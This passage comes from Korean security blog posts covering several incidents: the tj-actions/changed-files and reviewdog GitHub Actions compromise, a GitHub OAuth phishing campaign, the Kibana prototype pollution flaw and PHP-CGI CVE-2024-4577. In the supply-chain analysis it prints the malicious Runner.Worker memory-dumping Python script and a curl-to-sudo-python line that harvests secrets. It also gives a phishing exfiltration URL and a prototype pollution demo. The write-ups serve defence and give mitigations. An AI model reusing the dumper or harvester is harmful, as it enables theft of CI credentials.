> 모의 침투 테스트 (ZAP, Burpsuite 등) [13][14][15]

4. 참고

[1] https://about.gitlab.com/
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-25291
[3] https://nvd.nist.gov/vuln/detail/CVE-2025-25292
[4] https://github.com/SAML-Toolkits/ruby-saml
[5] https://github.com/ruby/rexml
[6] https://github.com/sparklemotion/nokogiri
[7] https://gruuuuu.github.io/security/ssofriends/
[8] https://www.hahwul.com/2018/07/13/Security-testing-SAML-SSO-vulnerability-and-pentest/#signature-wrappingxsw-attack
[9] https://www.hahwul.com/cullinan/saml-injection/#signature-stripping
[10] https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SAML%20Injection#xml-signature-wrapping-attacks
[11] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71680&menuNo=205020
[12] https://about.gitlab.com/releases/2025/03/12/patch-release-gitlab-17-9-2-released/
[13] https://www.hahwul.com/cullinan/saml-injection/#saml-in-zapburp
[14] https://www.zaproxy.org/docs/desktop/addons/saml-support/
[15] https://github.com/CompassSecurity/SAMLRaider

1. tj-actions/changed-files [1]

- 리포지토리에서 파일 변경 사항을 추적(감지)하는 용도로 활용

- 약 23,000개 이상의 리포지토리에서 사용중

2. reviewdog/action-setup [2][3]

- 코드 리뷰 및 정적 분석을 자동화하는 데 사용

3. 주요 내용

- 공격자는 GitHub Action reviewdog/action-setup@v1를 감염시킨 후 이를 통해 tj-actions/changed-files를 침투 [4][5][6]

> CI/CD 러너(Runner) 메모리 데이터를 덤프해 환경 변수와 비밀 키를 로그에 기록하도록 조작

> 이로 인해 AWS 액세스 키, 깃허브 개인 액세스 토큰(PAT), NPM 토큰, 개인 RSA 키 등이 외부로 노출될 수 있음

[사진 1] 공급망 공격 과정 요약

- 공격자는 reviewdog/action-setup@v1의 install.sh에 Based64로 인코딩된 Python 코드를 삽입(Hardcoded) [8]

> 해당 코드는 Runner.Worker 프로세스의 메모리에서 읽기 가능한 영역을 추출하여 덤프하는 코드

> CVE-2025-30154 (CVSS: 8.6)으로 지정 [9]

[사진 2] install.sh에 Hardcoded된 악성 코드

#!/usr/bin/env python3

# based on https://davidebove.com/blog/?p=1620

import sys
import os
import re

# 실행 중인 프로세스 중 'Runner.Worker' 문자열이 포함된 프로세스의 PID를 찾아 반환
def get_pid():
    # /proc 디렉터리에서 현재 실행 중인 모든 프로세스 PID 목록 가져오기
    pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]

    for pid in pids:
        try:
            # 각 프로세스의 cmdline (실행 명령어) 확인
            with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
                if b'Runner.Worker' in cmdline_f.read():  # Runner.Worker가 포함된 프로세스인지 확인
                    return pid
        except IOError:
            continue

    # 해당 프로세스가 없으면 예외 발생
    raise Exception('Can not get pid of Runner.Worker')


if __name__ == "__main__":
    # Runner.Worker 프로세스의 PID 찾기
    pid = get_pid()
    print(pid)

    # 해당 프로세스의 maps과 mem 파일 경로 지정
    map_path = f"/proc/{pid}/maps"
    mem_path = f"/proc/{pid}/mem"

    # map 파일 및 mem 파일 읽기
    with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
        # 메모리 매핑된 각 영역을 한 줄씩 읽음
        for line in map_f.readlines():
            # 정규 표현식으로 메모리 시작-끝 주소와 권한 정보 추출
            m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)

            # 읽기 권한이 있는 영역만 대상
            if m and m.group(3) == 'r':
                start = int(m.group(1), 16)  # 시작 주소
                end = int(m.group(2), 16)    # 끝 주소

                # 64비트 환경에서 파이썬 int로 처리할 수 없는 주소 건너뛰기
                if start > sys.maxsize:
                    continue

                # 메모리 파일 포인터를 해당 영역의 시작 위치로 이동
                mem_f.seek(start)
                
                try:
                    # 메모리 내용을 읽고 표준 출력으로 내보내기 (바이너리로)
                    chunk = mem_f.read(end - start)
                    sys.stdout.buffer.write(chunk)
                except OSError:
                    # 일부 영역은 읽을 수 없을 수 있음 → 무시하고 넘어감
                    continue

 

- 공격자는 덤프로 탈취한 자격증명을 도용해 tj-actions/changed-files를 침해한 것으로 판단됨

> 공격자는 Based64로 인코딩된 페이로드를 index.js에 삽입

> 해당 코드는 특정 URL에서 Python 코드를 다운 받아 실행한 후 Based64를 두 번 적용해 출력하는 코드

> CVE-2025-30066 (CVSS: 8.6)으로 지정 [10]

[사진 3] 삽입된 함수

# 현재 OS 타입이 리눅스인 경우
if [[ "$OSTYPE" == "linux-gnu" ]]; then
# 특정 URL에서 memdump.py 다운로드 및 실행
# sudo 권한으로 실행
# 널 문자 제거 (tr -d '\0'), 특정 패턴 출력 (grep ~), 중복 제거 (sort -u), Based64 인코딩 두 번 적용 (base64 -w 0)
# 인코딩된 값 출력
  B64_BLOB=`curl -sSf hxxps://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
  echo $B64_BLOB
else
  exit 0
fi

 

- 특정 URL의 Python 코드는 Runner.Worker 프로세스의 메모리에서 읽기 가능한 영역을 추출하여 출력

#!/usr/bin/env python3

import sys
import os
import re

# 실행 중인 프로세스 중 'Runner.Worker' 문자열이 포함된 프로세스의 PID를 찾아 반환하는 함수
def get_pid():
    # /proc 디렉터리에서 현재 실행 중인 모든 프로세스 PID 목록 가져오기 
    pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]

    for pid in pids:
        try:
            # 각 프로세스의 cmdline (실행 명령어) 확인
            with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
                # Runner.Worker가 포함된 프로세스인지 확인
                if b'Runner.Worker' in cmdline_f.read():
                    # 찾으면 해당 PID 반환
                    return pid  
        except IOError:
            # 접근 불가한 PID는 무시
            continue

    # 찾지 못할 경우 예외 발생
    raise Exception('Can not get pid of Runner.Worker')  

if __name__ == "__main__":
    pid = get_pid()  # 대상 프로세스 PID 획득
    print(pid)  # 표준 출력으로 PID 출력 (bash 스크립트에서 사용)

    map_path = f"/proc/{pid}/maps"  # 메모리 매핑 정보 파일
    mem_path = f"/proc/{pid}/mem"   # 실제 메모리 접근 파일

    with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
        for line in map_f.readlines():  # 매핑된 메모리 영역 하나씩 확인
            m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)  # 시작-끝 주소, 권한 파싱
            if m and m.group(3) == 'r':  # 읽기 권한(r)이 있는 영역만
                start = int(m.group(1), 16)
                end = int(m.group(2), 16)

                if start > sys.maxsize:  # 64비트 환경에서 처리 불가한 주소 방지
                    continue

                mem_f.seek(start)  # 메모리 영역 시작점으로 이동

                try:
                    chunk = mem_f.read(end - start)  # 해당 메모리 영역 읽기
                    sys.stdout.buffer.write(chunk)   # 메모리 내용 바이너리로 출력 (bash에서 후속 처리)
                except OSError:
                    # 일부 보호된 메모리 영역 접근 불가 → 무시
                    continue

[사진 4] tj-actions/changed-files 침해 요약

3. 대응방안

Action 업데이트 적용 (or 대체 도구로 교체 or 사용 중단)

- tj-actions/changed-files의 경우 46.0.1 버전에서 취약점을 해결 [11]

> 대체 도구 사용 : tj-actions/changed-files 액션을 step-security/changed-files@v45 로 교체

> 또는 사용 중단

 

Action 워크플로 실행 로그 감사

- 해당 기간 동안 Runner.Worker 관련 이상 활동 및 tj-actions/changed-files 또는 reviewdog/action-setup@v1 기록 확인

> “🐶 Preparing environment ...” 또는 [사진 5]의 문자열이 확인될 경우 악성코드가 실행된 것

[사진 5] 악성코드가 실행된 경우의 예시

관련된 비밀 정보 모두 변경

- GitHub 개인 액세스 토큰 (PAT), AWS 키, NPM 토큰, RSA 키 등 모든 종류의 비밀 키 교체

 

GitHub Actions 버전 고정 : 커밋 해시로 고정

- 특정 커밋 해시를 사용해 버전 고정

 

GitHub 허용 목록 기능 활용

- 신뢰할 수 있는 GitHub Actions만 실행하도록 허용 목록 구성

 

Reviewdog 의존 Action 점검

- reviewdog/action-setup이 다른 reviewdog Action의 구성요소로 포함되어 있어 해당 Action들에 대한 확인 필요
> reviewdog/action-shellcheck 
> reviewdog/action-composite-template 
> reviewdog/action-staticcheck 
> reviewdog/action-ast-grep 
> reviewdog/action-typos 

 

관련 로그 삭제 또는 환경 초기화

- 워크플로우 실행 로그 등 관련 로그를 삭제하거나 초기 환경으로 초기화

4. 참고

[1] https://github.com/tj-actions/changed-files
[2] https://github.com/reviewdog/action-setup
[3] https://github.com/reviewdog/reviewdog
[4] https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compromised
[5] https://sysdig.com/blog/detecting-and-mitigating-the-tj-actions-changed-files-supply-chain-attack-cve-2025-30066/
[6] https://www.wiz.io/blog/new-github-action-supply-chain-attack-reviewdog-action-setup
[7] https://www.wiz.io/blog/github-action-tj-actions-changed-files-supply-chain-attack-cve-2025-30066
[8] https://github.com/reviewdog/action-setup/commit/f0d342
[9] https://nvd.nist.gov/vuln/detail/CVE-2025-30154
[10] https://nvd.nist.gov/vuln/detail/cve-2025-30066
[11] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71685&menuNo=205020
[12] https://www.cisa.gov/news-events/alerts/2025/03/18/supply-chain-compromise-third-party-github-action-cve-2025-30066
[13] https://www.dailysecu.com/news/articleView.html?idxno=164623
[14] https://news.hada.io/topic?id=19770

요약 - 해외에서 12,000곳의 깃허브 리포지토리를 접근 계정을 겨냥한 대규모 사이버 공격이 최근 발생
- 깃허브의 다양한 인증 설정을 해제하도록 만들어진 가짜 OAuth 페이지로 유도
내용 - 해외에서 12,000개의 GitHub 리포지토리를 대상으로한 피싱 공격이 발생
> 가짜 보안 경고를 문제로 개발자를 속여 계정과 코드에 대한 전체 제어권 획득 시도
> Security Alert: Unusual Access Attempt
> 특정 IP에서 비정상적인 활동이 발생했음을 경고
> 계정이 침해당했으며, 비밀번호를 변경하고 세션 검토 및 관리, 2단계 인증 활성화 안내 내용을 포함

- 깃허브의 다양한 인증 설정을 해제하도록 만들어진 가짜 OAuth 페이지로 유도
> 사용자가 로그인하여 악성 OAuth 앱을 인증하면 액세스 토큰이 생성되어 아래 URL로 전송
> URL : github-com-auth-secure-access-token.onrender[.]com
> 공개 및 비공개 리포지토리 접근 및 삭제, 사용자 프로필 읽기 및 수정, 조직 멤버십 및 프로젝트 조회, 깃허브 지스트(Gist) 접근 등이 가능해짐

- 권고
> GitHub 설정에서 액세스 권한 취소
> 'gitsecurityapp'와 이름이 비슷한 GitHub 앱 또는 OAuth 앱에 대한 액세스 취소
> 의심스러운 GitHub Actions 존재 확인 및 비공개 gist 생성 여부 확인
> 자격 증명과 승인 토큰 변경 등
기타 - KISA 보호나라 관련 권고
> 깃허브 이용자가 의심스러운 상황을 인지한 경우
①  패스워드 즉시 리셋
② 이중인증 복구 코드 즉시 리셋
③ 개인 액세스 토큰 안전성 검토
④ 패스워드 자동 저장 기능 사용하지 않기 등 보안 강화 활동이 요구

> 피싱 공격발생에 대비한 활동으로 다음과 같은 방법 권고
 o 해킹메일 예방 방법
  - 발신자 주소를 정확히 확인하고 모르는 이메일 및 첨부파일은 열람 금지
  - 이메일 첨부 파일 중 출처가 불분명한 파일 다운로드 자제
  - 이메일 내부 클릭을 유도하는 링크는 일단 의심하고 연결된 사이트 주소 정상 사이트 여부를 반드시 확인

 o 피싱 · 스미싱 예방 방법
  - 출처가 불분명한 사이트 주소는 클릭을 자제하고 바로 삭제
  - 휴대폰번호, 아이디, 비밀번호 등 개인정보는 신뢰된 사이트에만 입력하고 인증번호의 경우 모바일 결제로 연계될 수 있으므로 한 번 더 확인

 o PC 및 스마트폰 보안 강화
  - 운영체제 및 자주 사용하는 문서 프로그램(hwp, doc 등)에 대해 최신 업데이트 수행
  - 바이러스 백신 업데이트 및 수시 검사

□ 침해사고 신고
 o 'KISA 인터넷 보호나라&KrCERT' 홈페이지(http://www.boho.or[.]kr) → 상담및신고 → 해킹 사고 신고

 

보안뉴스

 

Fake "Security Alert" issues on GitHub use OAuth app to hijack accounts

A widespread phishing campaign has targeted nearly 12,000 GitHub repositories with fake "Security Alert" issues, tricking developers into authorizing a malicious OAuth app that grants attackers full control over their accounts and code.

www.bleepingcomputer.com

 

KISA 보호나라&KrCERT/CC

KISA 보호나라&KrCERT/CC

www.boho.or.kr

1. Kibana

- ELK의 구성 요소 중 하나로, 데이터 시각화 및 분석을 위한 오픈 소스 도구 [1]

- Elasticsearch에 저장된 데이터를 쉽게 시각화하고 탐색 및 분석할 수 있는 웹 인터페이스를 제공

- 사용자가 Elasticsearch에 쿼리를 실행하고, 결과를 시각화(Discover, Visualize, Dashboard, Canvas, Maps 등)하여 분석할 수 있도록 도와줌

[사진 1] Kibana 예시

1.1 ELK

- Elasticsearch, Logstash, Kibana의 조합으로, 데이터 수집 및 분석을 위한 오픈 소스 솔루션 [2]

> Beats : 데이터 수집 담당

※ 데이터를 안정적으로 버퍼링하고 전달하기 위해 Redis, Kafka, RabbitMQ 등과 같이 사용할 수 있음

> Logstash : 다양한 소스에서 데이터를 수집 및 변환하며, 다른 저장소에 전달하는 데이터 처리 파이프 라인 도구

> Elasticsearch : 실시간 분산형 검색 엔진으로 데이터 검색 및 분석을 위해 사용되고, 대규모 데이터를 저장하고 실시간으로 검색할 수 있도록 설계

> Kibana : Elasticsearch에서 저장된 데이터를 시각화하고 분석하는 데 사용

[사진 2] ELK

2. CVE-2025-25015

[사진 3] CVE-2025-25015 [3]

- Prototype Pollution (프로토타입 오염)을 통한 Kibana 임의 코드 실행 취약점 (CVSS : 9.9)

> 조작된 파일 업로드와 조작된 HTTP 요청을 통해 임의의 코드를 실행할 수 있음

※ Elastic Cloud에서 실행되는 Kibana 인스턴스에만 영향을 미침

※ 코드 실행은 Kibana Docker 컨테이너 내에서 제한되며 컨테이너 이스케이프와 같은 추가 악용은 seccomp-bpf 및 AppArmor 프로필에 의해 방지

영향받는 버전
Kibana 8.15.0 이상 ~ 8.17.3 미만
※ 8.15.0 <= Kibana < 8.17.1 : Viewer 역할을 가진 사용자만 취약점을 악용할 수 있음

※ Kibana 8.17.1 및 8.17.2 : "fleet-all, integrations-all, actions:execute-advanced-connectors" 권한을 모두 가지는
사용자만 취약점을 악용할 수 있음

 

- 벤더사 제공 최신 보안 업데이트 적용 [4][5]

제품명 영향받는 버전 해결 버전
Kibana 8.15.0 이상 ~ 8.17.3 미만 8.17.3

 

- 즉시 업데이트가 불가한 경우 권고

> Kibana 설정파일 (kibana.yml)에서 Integration Assistant 기능 플래그를 false(xpack.integration_assistant.enabled: false)로 설정

 

2.1 Prototype Pollution (프로토타입 오염) [6][7]

- JavaScript 런타임을 대상으로 하는 주입 공격으로, 공격자는 이를 악용해 객체 속성의 기본값을 제어할 수 있음

> 애플리케이션의 논리를 조작할 수 있으며, 서비스 거부 또는 원격 코드 실행으로 이어질 수 있음

 

- JavaScript는 프로토타입 기반 객체 지향 프로그래밍 언어

> 프로토타입 (Prototype)이란 JavaScript에서 객체가 다른 객체의 속성과 메서드를 상속받을 수 있도록 하는 메커니즘

> 프로토타입 기반 언어이므로, 객체는 다른 객체를 원형 (Prototype)으로 삼아 속성과 메서드를 공유할 수 있음

> 주요 특징

① 모든 객체는 프로토타입을 가짐 : 객체가 생성될 때, 해당 객체는 자동으로 다른 객체(프로토타입)를 참조하게 됨

② 객체는 프로토타입을 통해 다른 객체의 속성과 메서드를 상속 : 프로토타입을 활용하면 객체지향 프로그래밍의 상속 기능을 구현할 수 있음

③ 프로토타입은 체인 (Prototype Chain)으로 연결 : 어떤 객체에서 속성을 찾을 때, 해당 객체에 없으면 프로토타입을 따라가면서 검색

 

- 프로토타입은 체인 (Prototype Chain)

> 객체가 속성을 검색할 때, 자신의 프로퍼티에서 찾지 못하면 프로토타입을 따라가며 탐색하는 구조

> 모든 객체는 Object.prototype을 최상위 프로토타입으로 가지며, 이를 따라가면서 상속됨

> 속성을 찾아 상위 프로토타입을 따라 최종적으로 Object.prototype까지 도달하면 (상위 프로토타입에서도 속성을 찾지못한 경우) undefined 반환

> child에는 familyName 속성이 없지만, 프로토타입 체인을 따라 (parent > grandparent) familyName 속성을 찾음

const grandparent = { familyName: "Kim" };
const parent = Object.create(grandparent); // parent의 프로토타입을 grandparent로 설정
const child = Object.create(parent); // child의 프로토타입을 parent로 설정

console.log(child.familyName); // "Kim"

[사진 4] Prototype Chain 테스트 [8]

- 공격자는 JavaScript의 프로토타입을 조작모든 객체에 악성 속성을 추가할 수 있음

> Object.prototype을 변경하면 모든 객체에 영향을 줄 수 있음

> __proto__, prototype 등의 속성을 사용해 Object.prototype을 변경할 수 있음

// 프로토타입 오염 전 상태 확인
console.log("프로토타입 오염 전 Object.prototype:");
console.log(Object.prototype.isAdmin); // undefined

// 프로토타입 오염 공격
Object.prototype.isAdmin = true; // true로 설정

// 프로토타입 오염 후 Object.prototype 상태 확인
console.log("\n프로토타입 오염 후 Object.prototype:");
console.log(Object.prototype.isAdmin); // true

// 프로토타입 오염 후 객체 생성 및 속성 확인
let obj = {};
console.log("\n오염된 프로토타입을 상속받은 객체:");
console.log(obj.isAdmin); // true

[사진 5] 오염 전 후 비교 [8]

2.2 대응 방안

① 사용자 입력 값 검증

> Object.prototype, proto 등 특정한 키워드를 필터링하고 안전한 데이터만 허용하도록 검증

 

② Object.create(null) 사용

> 프로토타입이 없는 객체를 생성 즉, Object.prototype을 상속받지 않으므로 프로토타입 오염 공격의 영향을 받지 않음

 

③ Object.freeze() 또는 Object.seal() 사용

> Object.freeze() : 객체의 변경을 막는 함수_객체의 속성 추가, 수정, 삭제를 할 수 없음

> Object.seal() : 객체의 변경을 막는 함수_ 객체의 속성 추가, 수정, 삭제를 할 수 없음, 단, 쓰기 가능한 속성의 값은 변경 가능

 

④ 정기적인 보안 업데이트 및 시큐어 코딩

> 사용하는 라이브러리 및 프레임워크의 보안 업데이트를 정기적으로 확인 및 적용

> 애플리케이션의 보안 취약점 정기적 점검

> 시큐어 코딩 및 코드 리뷰를 통해 잠재적 보안 문제 사전 발견 등

3. 참고

[1] https://www.elastic.co/kibana
[2] https://idkim97.github.io/2024-04-19-Kibana(%ED%82%A4%EB%B0%94%EB%82%98)%EB%9E%80/
[3] https://nvd.nist.gov/vuln/detail/CVE-2025-25015
[4] https://discuss.elastic.co/t/kibana-8-17-3-security-update-esa-2025-06/375441/1
[5] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71670&menuNo=205020
[6] https://learn.snyk.io/lesson/prototype-pollution/?ecosystem=javascript
[7] https://www.igloo.co.kr/security-information/prototype-pollution-%EC%B7%A8%EC%95%BD%EC%A0%90%EC%9D%84-%EC%9D%B4%EC%9A%A9%ED%95%9C-%EA%B3%B5%EA%B2%A9%EC%82%AC%EB%A1%80-%EB%B6%84%EC%84%9D-%EB%B0%8F-%EB%8C%80%EC%9D%91%EB%B0%A9%EC%95%88/
[8] https://www.mycompiler.io/ko/new/nodejs

요약 - Windows 서버 대상 PHP 원격 코드 실행 취약점(CVE-2024-4577) 악용 사례 급증
- 공격에 성공할 경우 시스템 전체가 장악될 위험이 있어 기업 및 기관의 신속한 대응이 요구
내용 - CVE-2024-4577
> Windows 환경에서 PHP의 CGI 구현이 문자 인코딩 변환을 적절히 처리하지 못해 발생
> 윈도우 코드 페이지의 ‘Best-Fit’ 기능이 특정 유니코드 문자를 PHP 명령줄 옵션으로 잘못 해석해 명령 실행 가능
> 공격자는 일반 대시(-, 0x2D)가 아닌 소프트 하이폰(-, 0xAD)를 사용
> PHP-CGI 8.3.8 이전 버전, 8.2.20 이전 버전, 8.1.29 이전 버전에 영향
> PHP-CGI 8.3.8, 8.2.20, 8.1.29 버전에서 취약점을 수정

- 25.01 한 달 동안 전 세계 허니팟에서 해당 취약점을 노리는 1,089개의 고유 IP 주소가 탐지
> 공격자들은 취약점을 악용해 시스템 침투자격 증명 탈취, 지속적인 접근 권한 확보 시도
> 단순한 데이터 탈취를 넘어 권한을 상승시켜 "TaoWu" Cobalt Strike 킷과 같은 고급 공격 도구를 활용하는 등 적극적인 공격을 전개
> Gh0st RAT, XMRig를 설치하거나, 랜섬웨어 공격자들은 웹쉘을 배포하고 시스템을 암호화

- 취약점 완화를 위해 신속한 패치 적용 권고
> 웹 서버에서 PHP 실행 파일이 외부에서 접근할 수 있는 디렉터리에 노출되지 않도록 설정 변경 필요
> 윈도우 환경에서 XAMPP를 사용하는 경우 PHP 실행 파일이 기본적으로 노출되는 문제가 있어, 추가적인 보안 조치가 필요
> 불필요한 서비스와 프로토콜을 비활성화
> 최소 권한 원칙 적용
> 네트워크 모니터링을 강화
> 악성코드 감염 여부를 지속적으로 점검
기타 보안 패치의 중요성이 다시 한번 강조된 사례
> 공격자들은 지속적으로 자동화된 스캔을 수행하며 패치되지 않은 시스템을 탐색하기 때문

 

보안뉴스

 

PHP 원격 코드 실행 취약점, 전 세계적으로 악용 사례 급증...주의 - 데일리시큐

PHP에서 발견된 심각한 보안 취약점이 전 세계적으로 악용되며 윈도우 기반 서버가 심각한 위협에 직면했다. 해당 취약점은 CVE-2024-4577로, PHP가 CGI(Common Gateway Interface) 모드에서 실행될 때 원격 공

www.dailysecu.com

 

PHP-CGI Argument Injection 취약점 (CVE-2024-4577)

1. PHP-CGI (Common Gateway Interface)- CGI(Common Gateway Interface): 웹 서버와 외부 프로그램 간의 상호 작용을 위한 표준 인턴페이스- 웹 서버는 사용자 요청에 PHP 스크립트 포함된 경우 해당 스크립트를 PHP

ggonmerr.tistory.com

+ Recent posts